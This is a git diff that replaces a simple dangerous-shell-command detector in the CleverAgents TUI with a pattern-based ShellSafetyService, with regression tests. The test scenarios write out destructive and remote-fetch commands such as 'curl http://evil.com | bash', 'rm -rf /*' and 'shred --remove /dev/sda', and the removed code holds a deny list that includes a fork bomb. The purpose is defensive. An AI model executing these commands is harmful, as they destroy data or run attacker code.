diff --git a/.forgejo/workflows/master.yml b/.forgejo/workflows/master.yml
index bb14f9ee0..862103661 100644
--- a/.forgejo/workflows/master.yml
+++ b/.forgejo/workflows/master.yml
@@ -3,8 +3,6 @@ name: CI
 on:
     push:
         branches: [master, develop]
-    pull_request:
-        branches: [master, develop]
 
 vars:
     docker_prefix: "http://harbor.cleverthis.com/docker/"
diff --git a/features/steps/tui_input_modes_steps.py b/features/steps/tui_input_modes_steps.py
index 3477e5cc8..3a169a51c 100644
--- a/features/steps/tui_input_modes_steps.py
+++ b/features/steps/tui_input_modes_steps.py
@@ -15,7 +15,7 @@ from cleveragents.tui import app as tui_app_module
 from cleveragents.tui.input import reference_parser
 from cleveragents.tui.input.modes import InputModeRouter
 from cleveragents.tui.input.reference_parser import parse_references, suggestions
-from cleveragents.tui.input.shell_exec import looks_dangerous
+from cleveragents.tui.shell_safety import ShellSafetyService
 
 
 @when('I parse TUI references for "{line}"')
@@ -60,7 +60,10 @@ def step_shell_stderr(context: Context, value: str) -> None:
 
 @when('I check shell danger detection for "{command}"')
 def step_check_shell_danger(context: Context, command: str) -> None:
-    context.shell_danger_result = looks_dangerous(command)
+    # ShellSafetyService replaces the legacy looks_dangerous() function.
+    # is_safe() returns True for safe commands, False for dangerous ones.
+    # We invert to match the original looks_dangerous() boolean convention.
+    context.shell_danger_result = not ShellSafetyService().is_safe(command)
 
 
 @then('shell danger detection result should be "{value}"')
diff --git a/features/steps/tui_shell_exec_coverage_steps.py b/features/steps/tui_shell_exec_coverage_steps.py
index 24376af07..021a84b66 100644
--- a/features/steps/tui_shell_exec_coverage_steps.py
+++ b/features/steps/tui_shell_exec_coverage_steps.py
@@ -1,10 +1,12 @@
 """Step definitions for tui_shell_exec_coverage.feature.
 
-These steps target specific uncovered lines in tui/input/shell_exec.py:
-- Lines 48-49: empty command returns ShellResult with exit_code=2
-- Lines 52-56: CLEVERAGENTS_DISABLE_SHELL_MODE env var disables shell mode
-- Line 61: confirm_dangerous callback is invoked for dangerous commands
-- Lines 77-82: subprocess.TimeoutExpired is caught and returns exit_code=124
+These steps target specific code paths in tui/input/shell_exec.py:
+- Empty command returns ShellResult with exit_code=2
+- CLEVERAGENTS_DISABLE_SHELL_MODE env var disables shell mode
+- confirm_dangerous callback is invoked for dangerous commands
+- subprocess.TimeoutExpired is caught and returns exit_code=124
+- ShellSafetyService (12-pattern registry) is used for danger detection
+  (regression tests for issue #4736)
 """
 
 import os
@@ -13,9 +15,9 @@ from unittest.mock import patch
 
 from behave import given, then, when
 
+import cleveragents.tui.input.shell_exec as shell_exec_module
 from cleveragents.tui.input.shell_exec import (
     ShellResult,
-    looks_dangerous,
     run_shell_command,
 )
 
@@ -28,11 +30,10 @@ def step_shell_exec_imported(context):
     """Verify the module is importable and key symbols exist."""
     assert run_shell_command is not None
     assert ShellResult is not None
-    assert looks_dangerous is not None
 
 
 # ---------------------------------------------------------------------------
-# Empty / whitespace command  (lines 48-49)
+# Empty / whitespace command
 # ---------------------------------------------------------------------------
 @when("I run a shell command with an empty string")
 def step_run_empty_command(context):
@@ -47,7 +48,7 @@ def step_run_whitespace_command(context, whitespace):
 
 
 # ---------------------------------------------------------------------------
-# Shell mode disabled via env var  (lines 52-56)
+# Shell mode disabled via env var
 # ---------------------------------------------------------------------------
 @given('the environment variable CLEVERAGENTS_DISABLE_SHELL_MODE is set to "{value}"')
 def step_set_disable_env_var(context, value):
@@ -70,8 +71,14 @@ def step_run_shell_command(context, command):
     context.shell_result = run_shell_command(command)
 
 
+@when('I run a shell command "{command}" without a callback')
+def step_run_shell_command_no_callback(context, command):
+    """Run run_shell_command with no confirm_dangerous callback."""
+    context.shell_result = run_shell_command(command)
+
+
 # ---------------------------------------------------------------------------
-# Dangerous command with confirm callback  (line 61)
+# Dangerous command with confirm callback
 # ---------------------------------------------------------------------------
 @given("a confirm_dangerous callback that returns True")
 def step_confirm_callback_true(context):
@@ -129,7 +136,7 @@ def step_verify_executed_result(context):
 
 
 # ---------------------------------------------------------------------------
-# Timeout  (lines 77-82)
+# Timeout
 # ---------------------------------------------------------------------------
 @given("subprocess run is mocked to raise TimeoutExpired")
 def step_mock_timeout(context):
@@ -147,6 +154,18 @@ def step_run_with_timeout(context, command, seconds):
         context.shell_result = run_shell_command(command, timeout_seconds=seconds)
 
 
+# ---------------------------------------------------------------------------
+# TDD regression: looks_dangerous removed (issue #4736)
+# ---------------------------------------------------------------------------
+@then("the shell_exec module should not export looks_dangerous")
+def step_looks_dangerous_not_exported(context):
+    """Verify that looks_dangerous is no longer part of the shell_exec module."""
+    assert not hasattr(shell_exec_module, "looks_dangerous"), (
+        "looks_dangerous should have been removed from shell_exec module "
+        "(issue #4736: ShellSafetyService must be used instead)"
+    )
+
+
 # ---------------------------------------------------------------------------
 # Common assertions
 # ---------------------------------------------------------------------------
diff --git a/features/tui_shell_exec_coverage.feature b/features/tui_shell_exec_coverage.feature
index 20455dda1..fc6b532a6 100644
--- a/features/tui_shell_exec_coverage.feature
+++ b/features/tui_shell_exec_coverage.feature
@@ -1,6 +1,6 @@
 Feature: TUI Shell Exec Coverage
   Scenarios that exercise previously uncovered code paths
-  in the tui/input/shell_exec module (lines 48-49, 52-56, 61, 77-82).
+  in the tui/input/shell_exec module.
 
   Background:
     Given the shell_exec module is imported
@@ -45,3 +45,53 @@ Feature: TUI Shell Exec Coverage
     When I run a shell command "sleep 999" with a 1 second timeout
     Then the shell result exit code should be 124
     And the shell result stderr should contain "command timed out after"
+
+  # ── TDD regression tests for issue #4736 ────────────────────────────────
+  # These scenarios verify that ShellSafetyService (12-pattern registry) is
+  # used instead of the legacy looks_dangerous() function.
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects rm -rf wildcard not caught by legacy function
+    When I run a shell command "rm -rf /*" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects rm -rf home directory not caught by legacy function
+    When I run a shell command "rm -rf ~/" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects shred --remove not caught by legacy function
+    When I run a shell command "shred --remove /dev/sda" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects chmod 777 not caught by legacy function
+    When I run a shell command "chmod 777 /etc" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects sudo rm not caught by legacy function
+    When I run a shell command "sudo rm -rf /tmp" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects wget pipe to sh not caught by legacy function
+    When I run a shell command "wget http://evil.com/x | sh" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: ShellSafetyService detects curl pipe to bash not caught by legacy function
+    When I run a shell command "curl http://evil.com | bash" without a callback
+    Then the shell result exit code should be 1
+    And the shell result stderr should be "blocked dangerous shell command"
+
+  @tdd_issue @tdd_issue_4736
+  Scenario: looks_dangerous function is no longer exported from shell_exec module
+    Then the shell_exec module should not export looks_dangerous
diff --git a/src/cleveragents/cli/commands/repl.py b/src/cleveragents/cli/commands/repl.py
index c2c321574..0b90df964 100644
--- a/src/cleveragents/cli/commands/repl.py
+++ b/src/cleveragents/cli/commands/repl.py
@@ -24,7 +24,7 @@ import yaml
 from rich.console import Console
 
 from cleveragents.cli.persona import PersonaConfig, PersonaRegistry
-from cleveragents.tui.input.shell_exec import looks_dangerous
+from cleveragents.tui.shell_safety import DangerousCommandWarning, ShellSafetyService
 
 # ---------------------------------------------------------------------------
 # Constants
@@ -388,11 +388,14 @@ def _run_shell_command(command_text: str) -> int:
     if os.environ.get("CLEVERAGENTS_DISABLE_SHELL_MODE", "").strip() in {"1", "true"}:
         _console.print("[yellow]Shell mode is disabled by configuration.[/yellow]")
         return 2
-    if looks_dangerous(command_text):
+    def _warn_callback(warning: DangerousCommandWarning) -> bool:
         answer = input("Dangerous command detected. Continue? [y/N]: ").strip().lower()
-        if answer not in {"y", "yes"}:
-            _console.print("[yellow]Blocked dangerous shell command.[/yellow]")
-            return 1
+        return answer in {"y", "yes"}
+
+    safety_service = ShellSafetyService(warn_callback=_warn_callback)
+    if not safety_service.is_safe(command_text):
+        _console.print("[yellow]Blocked dangerous shell command.[/yellow]")
+        return 1
     try:
         proc = subprocess.run(
             command_text,
diff --git a/src/cleveragents/tui/input/shell_exec.py b/src/cleveragents/tui/input/shell_exec.py
index 015214695..2c664f83b 100644
--- a/src/cleveragents/tui/input/shell_exec.py
+++ b/src/cleveragents/tui/input/shell_exec.py
@@ -7,6 +7,8 @@ import subprocess
 from collections.abc import Callable
 from dataclasses import dataclass
 
+from cleveragents.tui.shell_safety import DangerousCommandWarning, ShellSafetyService
+
 
 @dataclass(slots=True, frozen=True)
 class ShellResult:
@@ -18,17 +20,15 @@ class ShellResult:
     stderr: str
 
 
-def looks_dangerous(command: str) -> bool:
-    """Best-effort dangerous command detector."""
-    lowered = command.strip().lower()
-    patterns = (
-        "rm -rf /",
-        "git push --force",
-        "mkfs.",
-        "dd if=",
-        ":(){:|:&};:",
-    )
-    return any(pattern in lowered for pattern in patterns)
+def _make_warn_callback(
+    confirm_dangerous: Callable[[str], bool],
+) -> Callable[[DangerousCommandWarning], bool]:
+    """Wrap a command-string callback into a DangerousCommandWarning callback."""
+
+    def _callback(warning: DangerousCommandWarning) -> bool:
+        return confirm_dangerous(warning.command)
+
+    return _callback
 
 
 def run_shell_command(
@@ -43,6 +43,13 @@ def run_shell_command(
     - Shell mode is a convenience feature for local development, not a sandbox.
     - We block obviously dangerous command patterns unless explicitly confirmed.
     - We apply a timeout to avoid hanging the UI event loop indefinitely.
+
+    Danger detection is delegated to
+    :class:`~cleveragents.tui.shell_safety.ShellSafetyService`, which uses a
+    12-pattern registry with four severity levels (CRITICAL, HIGH, MEDIUM, LOW).
+    Commands at or above MEDIUM are blocked by default.  When *confirm_dangerous*
+    is provided it is invoked with the command string; returning ``True`` allows
+    execution, ``False`` blocks it.
     """
     if not command.strip():
         return ShellResult(
@@ -55,17 +62,23 @@ def run_shell_command(
             stdout="",
             stderr="shell mode is disabled",
         )
-    if looks_dangerous(command):
-        confirmed = False
-        if confirm_dangerous is not None:
-            confirmed = confirm_dangerous(command)
-        if not confirmed:
-            return ShellResult(
-                command=command,
-                exit_code=1,
-                stdout="",
-                stderr="blocked dangerous shell command",
-            )
+
+    warn_callback: Callable[[DangerousCommandWarning], bool] | None = (
+        _make_warn_callback(confirm_dangerous)
+        if confirm_dangerous is not None
+        else None
+    )
+
+    safety_service = ShellSafetyService(warn_callback=warn_callback)
+    safety_result = safety_service.check_command(command)
+
+    if not safety_result.allowed:
+        return ShellResult(
+            command=command,
+            exit_code=1,
+            stdout="",
+            stderr="blocked dangerous shell command",
+        )
     try:
         proc = subprocess.run(
             command,